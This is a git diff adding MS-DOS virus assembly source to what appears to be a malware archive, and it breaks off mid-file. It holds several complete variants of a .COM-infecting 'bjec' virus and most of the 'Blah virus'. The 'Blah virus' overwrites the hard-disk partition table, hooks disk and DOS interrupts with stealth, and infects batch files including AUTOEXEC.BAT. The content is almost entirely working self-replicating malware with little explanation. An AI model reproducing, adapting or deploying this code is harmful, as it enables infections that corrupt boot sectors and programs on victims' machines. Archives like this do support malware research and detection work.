z->Oy07HTmc6cf4KfAxdm%%uA!`=8jkQ@iWr-^e@y<-`Bf2zw%2QCZ?K&V~gJHgUW5 z(NF7)jSmE_21|eC@^sk42)b0(Lq|6qw`huy#IQ-848lqxPe_#5D-_SwoR}duCz`pc zn$(Nm5am^^z47m-9ih`V@d@=opO9O92I-^j;be=d=9uoN*^O_$9aWI*!(F6*4XzPT z={-Aw=tg~fmZ|$*1G3D=Mw%3;gvmn^qt2(paJA|#(JFAw?Dh`kNq^BO?;X6OSN}7p zfe+_Qrre>zMuT$Bjxe~Gi>Cm1hi~J*(LPC02BS`EYJ7h2xk;6$RY|7_vXpLgS`2|{ zWR()L{{Hsdtn!#skIu`YLY0kCv}el_37p7%w61VLXiOc7#wpJGV}E@_{`BbH1UYVt ze{&X1-@D0oN`C=X#7XmO5L7^ap41{E-6Cfyax&_@%ccudNo$<@LE?4Ai7*5^i1+9~ zBU8Gk7xMs$4SkMX`^k=TG08!+%XxFJVjHFU#I>dJ+xEL-WEtN4m35PO*VTi{PAVCT zkYI5mo7C1hipo-!;gO_Yp%uYT`_Ox|*zO1B{AvWhz+fF+21~20=GNH4;@JLMz3Da{ zn=nAt;s?}D8x2UZMBVlwA%-j1bN}ZN%K=U-H;nL-K#_L|%O8Xil$u}1-9!R&*j0)^;4F?+#I}`4 zMKDn0+|%aSu7Pn)u(0ff-C_mUqgC@`c`3Wk2r;Hb4u~>2D6otU1+5l^s!1ku#{_lP zz%ndz2}t~VA~#>ladcBOli9w^3+C~W8i4>G_$|r;YYKUU@+YA29>7^`Sna$8{M&03CFj3Ab7%CO&1j9uER9%+ee&$1I zNq1Dgw(o}{tOT)^&yX~$bs2AqkO_q>K9ZoC9x+?(4Jh-8OL0(}>;?tMbN0#jg0&q{ zs*s#F;*!!eeZfYKpC&ci7Z8-gO9h)PP!_L}#9jQN*vDIWB13}|Y|rd)$-I?55p}4& z#`65am`b%eCQC{-D-jJBzch`1sag=?zY51E5GvX~m(X5T<(F2pgS_kz{twscou&W) literal 0 HcmV?d00001 diff --git a/MSDOS/Virus.MSDOS.Unknown.bjec-3.asm b/MSDOS/Virus.MSDOS.Unknown.bjec-3.asm new file mode 100644 index 00000000..9fb5cb94 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bjec-3.asm @@ -0,0 +1,127 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID + nop ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin + + + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; ----- alma mater + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.bjec-4.asm b/MSDOS/Virus.MSDOS.Unknown.bjec-4.asm new file mode 100644 index 00000000..82dc7200 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bjec-4.asm @@ -0,0 +1,134 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID + nop ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + ja fin + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin ; if file inf. then skip this file + + + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk diff --git a/MSDOS/Virus.MSDOS.Unknown.bjec-5.asm b/MSDOS/Virus.MSDOS.Unknown.bjec-5.asm new file mode 100644 index 00000000..4ed7938b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bjec-5.asm @@ -0,0 +1,143 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID + nop ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + ja fin + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin ; if file inf. then skip this file + + mov al,'M' + mov di,dx + mov cx,ds:[0fch] + repne scasb + jne cont + mov al,'Z' + cmp es:[di],al + je fin ; if converted then skip + +cont: + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk diff --git a/MSDOS/Virus.MSDOS.Unknown.bjec-6.asm b/MSDOS/Virus.MSDOS.Unknown.bjec-6.asm new file mode 100644 index 00000000..c422af9f --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bjec-6.asm @@ -0,0 +1,147 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID + nop ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + mov ax,'OC' ; "CO" + sub ax,ds:[009eh] + je fin ; if file name CO*.com then skip + + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + ja fin + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin ; if file inf. then skip this file + + mov al,'M' + mov di,dx + mov cx,ds:[0fch] + repne scasb + jne cont + mov al,'Z' + cmp es:[di],al + je fin ; if converted then skip + +cont: + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk diff --git a/MSDOS/Virus.MSDOS.Unknown.bjec-7.asm b/MSDOS/Virus.MSDOS.Unknown.bjec-7.asm new file mode 100644 index 00000000..03c58536 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bjec-7.asm @@ -0,0 +1,153 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID +count db 90h ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + mov al,3 ; inf. only 3 file + mov count,al + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + mov ax,'OC' ; "CO" + sub ax,ds:[009eh] + je fin ; if file name CO*.com then skip + + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + ja fin + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin ; if file inf. then skip this file + + mov al,'M' + mov di,dx + mov cx,ds:[0fch] + repne scasb + jne cont + mov al,'Z' + cmp es:[di],al + je fin ; if converted then skip + +cont: + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + + dec count + jz done + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk diff --git a/MSDOS/Virus.MSDOS.Unknown.bjec-8.asm b/MSDOS/Virus.MSDOS.Unknown.bjec-8.asm new file mode 100644 index 00000000..7eccf081 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bjec-8.asm @@ -0,0 +1,183 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID +count db 90h ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + mov al,3 ; inf. only 3 file + mov count,al + + mov ah,2ah + int 21h + mov ds:[0f2h],dx ; + mov ds:[0f4h],cx ; save system date + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + mov ax,'OC' ; "CO" + sub ax,ds:[009eh] + jne cont0 ; if file name CO*.com then skip + jmp fin + +cont0: + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + jna cont2 + jmp fin + +cont2: + mov cx,ds:[98h] + and cx,001fh + mov dl,cl + mov ax,ds:[98h] + and ax,01e0h + mov cl,5 + sar ax,cl + mov dh,al + mov ax,ds:[98h] + and ax,0fe00h + mov cl,9 + sar ax,cl + mov cx,ax + add cx,1980 + mov ah,2bh + int 21h ; set system time + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + sub ax,9090h + jz fin ; if file inf. then skip this file + + mov al,'M' + mov di,dx + mov cx,ds:[0fch] + repne scasb + jne cont + mov al,'Z' + cmp es:[di],al + je fin ; if converted then skip + +cont: + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + + dec count + jz done + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + mov dx,ds:[0f2h] + mov cx,ds:[0f4h] + mov ah,2bh + int 21h + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk diff --git a/MSDOS/Virus.MSDOS.Unknown.bjec-9.asm b/MSDOS/Virus.MSDOS.Unknown.bjec-9.asm new file mode 100644 index 00000000..4b00899e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.bjec-9.asm @@ -0,0 +1,189 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID +count db 90h ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + mov al,3 ; inf. only 3 file + mov count,al + + mov ah,2ah + int 21h + mov ds:[0f2h],dx ; + mov ds:[0f4h],cx ; save system date + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + mov ax,'OC' ; "CO" + sub ax,ds:[009eh] + jne cont0 ; if file name CO*.com then skip + jmp fin + +cont0: + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + jna cont2 + jmp fin + +cont2: + mov cx,ds:[98h] + and cx,001fh + mov dl,cl + mov ax,ds:[98h] + and ax,01e0h + mov cl,5 + sar ax,cl + mov dh,al + mov ax,ds:[98h] + and ax,0fe00h + mov cl,9 + sar ax,cl + mov cx,ax + add cx,1980 + mov ah,2bh + int 21h ; set system time + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + cmp ax,9090h + je fin ; if file inf. then skip this file + cmp ax,'ZM' + je fin ; if file .COM is EXE then skip + + mov di,dx + mov cx,ds:[0fch] +NEWS: + or cx,cx + js cont + mov al,'M' + repne scasb + jne cont + mov al,'Z' + cmp es:[di],al + je fin ; if converted then skip + jmp news + +cont: + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + + dec count + jz done + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + mov dx,ds:[0f2h] + mov cx,ds:[0f4h] + mov ah,2bh + int 21h + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.blah.asm b/MSDOS/Virus.MSDOS.Unknown.blah.asm new file mode 100644 index 00000000..ff1d7812 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.blah.asm @@ -0,0 +1,681 @@ + .model tiny + .code + .radix 16 + + org 0 +our_buffer label byte + + org 80 +line label byte + + org 100 + +viruslength = (heap-blah)*2+endcleanup-decoder+((heap-blah+1f)/20)*0f +resK = (end_all - our_buffer + 3ff) / 400 +resP = resK * 40 +sector_length = (heap - blah + 1ff) / 200 + +blah: xor bp,bp + xor si,si + + cmp [si],20CDh ; check if there is a PSP + jz in_com ; to see if we are in COM or + ; boot (don't just check SP + ; since COM might not load in + ; a full segment if memory is + ; sparse) + inc bp + +; hey! we're in the boot sector or the partition table +; assume in partition table for the time being + push si + cli + pop ss + mov sp,-2 ; doesn't really matter + sti + + mov ax,200 + sector_length + mov es,si + mov bx,7c00 + 200 + mov cx,2 + mov dx,80 + int 13 + + mov dx,0f800 + + db 0ea + dw offset install, 7b0 + +in_com: mov dx,0f904 + + mov ah,62 ; get the PSP + int 21 ; also tells existing copies + ; to disable themselves + ; (for NetWare compatability) + dec bx ; go to MCB so we can + mov ds,bx ; twiddle with it + + sub word ptr [si+3],resP ; reserve two K of memory + sub word ptr [si+12],resP ; in DOS for the virus + +install: mov cs:init_flag,dl + mov byte ptr cs:i13_patch,dh + + mov ds,si ; reserve two K of memory + mov dx,word ptr ds:413 + sub dx,resK + mov word ptr ds:413,dx ; from the BIOS count + mov cl,6 + shl dx,cl ; K -> paragraph + + les ax,ds:84 + mov cs:old_i21,ax + mov cs:old_i21+2,es + + les ax,ds:4c + mov cs:old_i13,ax + mov cs:old_i13+2,es + + mov es,dx + push cs + pop ds + mov si,offset blah + mov di,si + mov cx,(offset end_zopy - blah + 1) / 2 + rep movsw + + mov es,cx + + mov es:4c,offset i13 + mov es:4e,dx + + or bp,bp + jz exit_com + +exit_boot: mov ax,201 ; read the original partition + xor cx,cx ; table to 0:7C00 + mov dx,80 ; since the i13 handler is in + mov es,cx ; place, we can load from where + inc cx ; the partition table should + mov bx,7c00 ; be, instead of where it + pushf + push es bx ; actually is + jmp dword ptr [bp+4bh] ; int 13 / iret + +exit_com: mov es:84,offset i21 + mov es:86,dx + +infect_hd: push ax cx dx bx ds es + + push cs cs + pop es ds + + mov ax,201 + mov bx,100 + (sector_length*200) + mov cx,1 + mov dx,80 + call call_i13 ; get original partition table + + adj_ofs = (100 + (sector_length*200)) + + cmp word ptr cs:[adj_ofs+decoder-blah],'e@' + jz already_infected + + mov al,ds:[adj_ofs+1C0] + cbw + or ax,ds:[adj_ofs+1C2] + jnz enough_room + cmp byte ptr ds:[adj_ofs+1C1],sector_length+1 + jbe already_infected ; not enough room for virus + +enough_room: mov ax,301 + sector_length ; write to disk + mov bx,100 ; cx = 1, dx = 80 already + call call_i13 + +already_infected: + pop es ds bx dx cx ax + ret + + db 'Blah virus',0 + db '(DA/PS)',0 + +; I indulged myself in writing the decoder; it's rather much larger than it +; needs to be. This was so I could insert random text strings into the code. +; The decoder creates a file which, when run, will execute the encoded file. +; In this case, we are encoding the virus. See the beginning for a complete +; explanation of how the virus works. +decoder db '@echo °PSBAT!°┐PS╜' +fsize dw -1 * (heap - blah) + db 'XYZў▌U╛S╣ 2щмHЛ╪м,A├кMtтё эtных>',0ba,'.com',0Dh,0A + db '@echo ╕№№2рYPЧ╕єдл╕ыы2рл╛PS┐DBБяDA├' +endline: db '>>',0ba,'.com',0Dh,0A +; The next line is to ease the coding. This way, the same number of statements +; pass between the running of the temporary program and the reloading of the +; batch file for both AUTOEXEC.BAT on bootup and regular batch files. Running +; the temporary file installs the virus into memory. Note the following lines +; are never seen by the command interpreter if the virus is already resident. +enddecoder: db '@if %0. == . ',0ba,0Dh,0A + db '@',0ba,0Dh,0A + db '@del ',0ba,'.com',0Dh,0A +; The next line is necessary because autoexec.bat is loaded with %0 == NULL +; by COMMAND.COM. Without this line, the virus could not infect AUTOEXEC.BAT, +; which would be a shame. + db '@if %0. == . autoexec',0Dh,0A + db '@%0',0Dh,0A +endcleanup: + +chain_i13: push [bp+6] + call dword ptr cs:old_i13 + pushf + pop [bp+6] + ret + +call_i13: pushf + call dword ptr cs:old_i13 + ret + +write: mov ah,40 +calli21: pushf + call dword ptr cs:old_i21 + ret + +check_signature:and word ptr es:[di+15],0 + push es di cs cs + pop ds es + mov ah,3f + cwd ; mov dx,offset our_buffer + mov cx,enddecoder - decoder + call calli21 + + cld + mov si,offset decoder + mov di,dx + mov cx,enddecoder - decoder + rep cmpsb + + pop di es + ret + + +i13: clc ; this is patched to + jnc i13_patch ; disable the i13 handler + jmp disabled_i13 ; this is a stupid hiccup + +i13_patch: clc ; this is patched to once + jc multipartite_installed ; i21 is installed + + push ax bx ds es + + mov ax,0AA55 ; offset 02FE of the virus + ; this is the PT signature + + xor ax,ax + mov es,ax + + lds bx,es:84 + mov ax,ds + cmp ax,cs:old_i21+2 + jz not_DOS_yet + or ax,ax ; Gets set to address in zero + jz not_DOS_yet ; segment temporarily. ignore. + cmp ax,800 + ja not_DOS_yet + cmp ax,es:28*4+2 ; make sure int 28 handler + jnz not_DOS_yet ; the same (OS == DOS?) + cmp bx,cs:old_i21 + jz not_DOS_yet +install_i21: push cs + pop ds + mov ds:old_i21,bx + mov ds:old_i21+2,ax + mov es:84,offset i21 + mov es:86,cs + inc byte ptr ds:i13_patch +not_DOS_yet: pop es ds bx ax +multipartite_installed: + push bp + mov bp,sp + + cmp cx,sector_length + 1 ; working on virus area? + ja jmp_i13 + + cmp dx,80 + jnz jmp_i13 + + cmp ah,2 ; reading partition table? + jz stealth_i13 +not_read: cmp ah,3 ; write over partition table? + jnz jmp_i13 + call infect_hd + + push si cx bx ax + + mov al,1 + + cmp cl,al ; are we working on partition + jnz not_write_pt ; table at all? + + mov cx,sector_length + 1 + call chain_i13 + jc alt_exit_i13 + +not_write_pt: pop ax + push ax + + cbw + sub al,sector_length + 2 ; calculate number of remaining + add al,cl ; sectors to write + js alt_exit_i13 + jz alt_exit_i13 + + push cx + sub cx,sector_length + 2 ; calculate number of sectors + neg cx ; skipped +addd: add bh,2 ; and adjust buffer pointer + loop addd ; accordingly + pop cx + + or ah,1 ; ah = 1 so rest_stealth makes + jmp short rest_stealth ; it a write + +jmp_i13: pop bp +disabled_i13: jmp dword ptr cs:old_i13 + +stealth_i13: push si cx bx ax + call infect_hd + + mov si,bx + + mov al,1 + + cmp cl,al + jnz not_read_pt + + mov cx,sector_length + 1 + call chain_i13 + jc alt_exit_i13 + + add bh,2 ; adjust buffer ptr + +not_read_pt: pop ax + push ax + push di ax + mov di,bx + mov ah,0 + add al,cl + + cmp al,sector_length + 2 + jb not_reading_more + mov al,sector_length + 2 +not_reading_more:cmp cl,1 + jnz not_pt + dec ax +not_pt: sub al,cl + jz dont_do_it ; resist temptation! + + mov cl,8 + shl ax,cl ; zero out sectors + mov cx,ax + cbw ; clear ax + rep stosw + mov bx,di ; adjust buffer + +dont_do_it: pop ax di + mov ah,0 + + mov cl,9 + sub si,bx + neg si + shr si,cl + sub ax,si + jz alt_exit_i13 + +rest_stealth: sub ax,-200 + mov cx,sector_length + 2 + call chain_i13 + +alt_exit_i13: pop bx + mov al,bl + pop bx cx si bp + iret + +i24: mov al,3 + iret + +chain_i21: push [bp+6] ; push flags on stack again + call dword ptr cs:old_i21 + pushf ; put flags back onto caller's + pop [bp+6] ; interrupt stack area + ret + +infect_bat: mov cx,200 ; conquer the holy batch file! +move_up: sub bp,cx + jns $+6 + add cx,bp + xor bp,bp + mov es:[di+15],bp ; move file pointer + + mov ah,3f ; read in portion of the file + mov dx,offset big_buffer + call calli21 + + add word ptr es:[di+15],viruslength + sub word ptr es:[di+15],ax + call write ; move the data up + + or bp,bp + jnz move_up + +move_up_done: mov word ptr es:[di+15],bp ; go to start of file + + mov cx,enddecoder - decoder + mov dx,offset decoder + call write + + push es di cs + pop es + + mov bp,heap - blah + mov si,offset blah +encode_lines: mov di,offset line + mov cx,20 +encode_line: lodsb + push ax + and 